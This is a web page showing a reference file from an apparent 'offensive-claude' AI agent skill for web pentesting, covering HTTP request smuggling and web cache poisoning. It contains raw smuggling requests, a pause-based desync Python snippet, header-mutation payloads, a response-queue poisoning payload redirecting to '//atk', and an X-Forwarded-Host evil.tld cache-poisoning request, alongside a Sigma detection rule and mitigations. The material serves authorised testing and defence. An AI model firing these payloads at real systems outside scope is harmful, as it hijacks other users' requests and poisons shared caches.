Skip to content

hypnguyen1209/offensive-claude / skills/web-pentest

web-pentest

Flagged

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

references/http-desync-cache.md

View on GitHub
# HTTP Request Smuggling (Desync) & Web Cache Attacks

Cluster: HTTP request smuggling / desync (CWE-444) including the 2024 TE.0 and
2025 0.CL/Expect families, plus web cache poisoning and web cache deception
(CWE-525). Backing tool: `scripts/desync_probe.py`. ATT&CK: T1190, T1557
(AiTM-style request hijacking), T1071.001.

## Theory / Mechanism

A desync arises when a front-end (CDN/proxy) and back-end disagree on where one
HTTP request ends and the next begins — almost always a Content-Length vs
Transfer-Encoding (or early-response) discrepancy on HTTP/1.1. The attacker
prefixes a victim's request with a smuggled one, enabling request hijacking,
response-queue poisoning, cache poisoning, and credential theft. James Kettle's
thesis (2025): HTTP/1.1 itself is the root cause — patching individual servers
never ends it; the fix is upstream HTTP/2.

Desync lineage: 2019 CL.TE/TE.CL -> 2021 H2.CL/H2.TE (HTTP/2 downgrade) ->
2022 CL.0/H2.0/CSD (client-side desync) -> **2024 TE.0** (dechunk discrepancy) ->
**2025 TE.TE chunk-extension + 0.CL early-response (Expect)**.

## Probe
```
python3 scripts/desync_probe.py https://t --probe cl0,expect,options,te0 --verbose
# 'options' = OPTIONS + Expect:100-continue + obsolete line folding (CVE-2025-32094)
```
The probe compares a benign request against each desync variant and flags
timeouts (socket starvation), status deltas, smuggled-path reflection, or timing
deltas. It smuggles only a benign GET to avoid poisoning co-tenant traffic.

## Classic desync primitives
```http
# CL.TE
POST / HTTP/1.1
Host: t
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```
```http
# TE.CL
POST / HTTP/1.1
Host: t
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

```

## Advanced smuggling vectors (beyond CL.TE/TE.CL)

### Pause-based desync
Send headers slowly; the front-end waits, the back-end times out and treats trailing bytes as a new
request:
```python
import socket, time
s = socket.create_connection(("target", 443))
# ... wrap in TLS ...
s.send(b'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 50\r\n')
time.sleep(5)                   # pause > back-end read timeout
s.send(b'Transfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target\r\n\r\n')
```

### TE header mutations (fuzzing catalog)
Servers disagree on whether these are valid `Transfer-Encoding: chunked`:
```
Transfer-Encoding : chunked         # space before colon
Transfer-Encoding\t: chunked        # tab before colon
Transfer\rEncoding: chunked          # CR mid-name
Transfer\x00Encoding: chunked       # null byte
Transfer-Encoding: chunked\x20\x20  # trailing spaces
Transfer-Encoding: xchunked         # prefix
Transfer-Encoding: identity, chunked # identity + chunked
```

### H2C upgrade smuggling
Behind a load-balancer that doesn't speak H2C, upgrade to cleartext HTTP/2 — the front-end proxies
the upgrade but the WAF only inspects HTTP/1.1:
```http
GET / HTTP/1.1\r\nHost: target\r\nConnection: Upgrade, HTTP2-Settings\r\nUpgrade: h2c
```

### HTTP/2 pseudo-header + WebSocket + CONNECT smuggling
- **Duplicate pseudo-headers:** send `:method: POST` then `:method: GET` — proxy uses first, backend last.
- **WebSocket upgrade smuggling:** front-end switches to WS framing, back-end still reads HTTP body as a new request.
- **CONNECT tunneling:** `CONNECT internal.service:80 HTTP/1.1` through a forward proxy → smuggle requests to internal services.

### Response queue poisoning
Inject a complete HTTP response so the *next* real user receives your crafted response:
```
0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 44\r\n\r\n<script>location='//atk'</script>
```

### Client-side desync (CSD)
Browser-powered desync via `fetch()` — poisons a cached `.js`/`.css` for stored XSS without server-side
reflection. High-value targets: cached scripts (code exec), CSS (exfil via `background-image`).

## Modern 2024-2026 Variants (verified)

- **TE.0 (2024)** — by Paolo "sw33tLie" Arnolfo, Guillermo "bsysop" Gregorio,
  Francesco "Medusa" Mariani; placed 3rd in Top 10 Web Hacking Techniques 2024.
  Back-end honours `Transfer-Encoding` (dechunks, `0` terminator) while the
  front-end treats the body as CL=0 and forwards trailing bytes as a new request.
- **0.CL / Expect-header desync (2025)** — sending a valid `Expect: 100-continue`
  causes the front-end to emit an early response while the back-end keeps reading
  the body, desyncing the connection on many servers.
- **CVE-2025-32094 (Akamai Ghost, CWE-444)** — an HTTP/1.x **OPTIONS** request
  with `Expect: 100-continue` **and obsolete line folding** desyncs two in-path
  Akamai servers, smuggling a second request in the body. Fixed in Ghost
  `2025-03-26`. James Kettle; ~$221k across 74 reports; impacted `auth.lastpass.com`
  content serving and exposed ~24M sites; ~9k bounty.
- **TE.TE chunk-extension (2025)** — Jeppe Weikop: abuse chunk-extension parsing
  differences (`1;ext=...`) to desync.
- Other CVEs in the 2025 wave: **CVE-2025-55315**, **CVE-2025-43859**.
- **Tooling**: PortSwigger HTTP Request Smuggler **v3.0 (2025)** adds
  parser-discrepancy detection that bypasses widespread desync defences.
- **Caveat (signal vs noise)**: 90-95% of "critical smuggling" bug-bounty reports
  in 2024-2025 are actually benign **HTTP/1.1 pipelining** behaving per RFC.
  Distinguish a true desync (affects a *different* connection/victim, or poisons a
  shared response) from pipelining (only affects your own connection). The probe's
  timeout/co-victim signals help, but confirm with a victim-socket test.

## Web Cache Poisoning & Deception

### Unkeyed-header poisoning
```http
GET / HTTP/1.1
Host: t
X-Forwarded-Host: evil.tld
# if X-Forwarded-Host is unkeyed but reflected into <script src>, the cache
# serves an evil.tld script to every subsequent user (CWE-525).
```

### Web Cache Deception (path confusion)
```
GET /account/settings/notexist.css HTTP/1.1
# origin serves /account/settings (PII), ignoring the bogus extension;
# cache keys on .css and stores the PII page in a *public* cache entry.
```

### Modern 2024-2026 cache research (verified)

- **"Gotta cache 'em all" — Martin Bajanik, Black Hat USA 2024**: systematic
  parser-discrepancy study of URL parsing across servers/CDNs. The key insight
  for deception is a **delimiter used by the origin but not the cache** (and vice
  versa), yielding arbitrary cache poisoning and deception. PortSwigger built
  Web Security Academy labs on it.
- **"Internet's Invisible Enemy" — ACM CCS 2024**: HCache, a cache-key-aware
  methodology that mutates requests to discover fields not in the cache key
  (the unkeyed inputs that enable poisoning), measured at internet scale.
- Delimiter/normalisation discrepancy poisoning (path `;`, `%2e`, `%2f`, trailing
  `?`/`#`) is the dominant current technique class.

## Detection (Blue Team)

IOCs: requests with both `Content-Length` and `Transfer-Encoding`; obsolete
line folding (header continuation lines starting with space/tab); `Expect:
100-continue` on OPTIONS to a CDN; cache entries serving cross-host script
references; static-extension URLs returning authenticated/PII bodies.
```yaml
title: HTTP Desync / Cache-Key Confusion Indicators
logsource: { category: proxy }
detection:
  dual_len:
    cs-headers|contains|all: ['Transfer-Encoding', 'Content-Length']
  obs_fold:
    cs-headers|re: '\r\n[ \t]'
  expect_options:
    cs-method: 'OPTIONS'
    cs-headers|contains: 'Expect: 100-continue'
  condition: dual_len or obs_fold or expect_options
level: high
```
Front-end mitigations: normalise/reject ambiguous CL+TE, drop obsolete line
folding, prefer HTTP/2 to origin, include all reflected headers in the cache key,
and never cache responses to URLs with arbitrary trailing extensions on
authenticated paths.

## OPSEC

- True desync poisons *other users'* connections — on shared CDN infra this can
  affect co-tenants. Run only against scoped targets; never POST-smuggle prod.
- Cache poisoning persists for the cache TTL and hits real users; use a benign
  marker (e.g. a unique header reflection) and purge/wait-out the entry; document
  cache keys touched for cleanup.
- Smuggling probes that starve sockets can degrade availability — keep `-n` low.
- These attacks are highly logged at the CDN; expect WAF/abuse review.

## References

- PortSwigger Research: "HTTP/1.1 must die: the desync endgame" (Kettle, 2025);
  "HTTP Desync Attacks: Request Smuggling Reborn"; "HTTP/2: The Sequel is Always
  Worse"; "Gotta cache 'em all" (Bajanik, 2024).
- Akamai advisory & NVD: CVE-2025-32094; CVE-2025-55315; CVE-2025-43859.
- ACM CCS 2024: "Internet's Invisible Enemy: Detecting and Measuring Web Cache
  Poisoning in the Wild."
- PortSwigger HTTP Request Smuggler v3.0 (github.com/PortSwigger/http-request-smuggler).
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall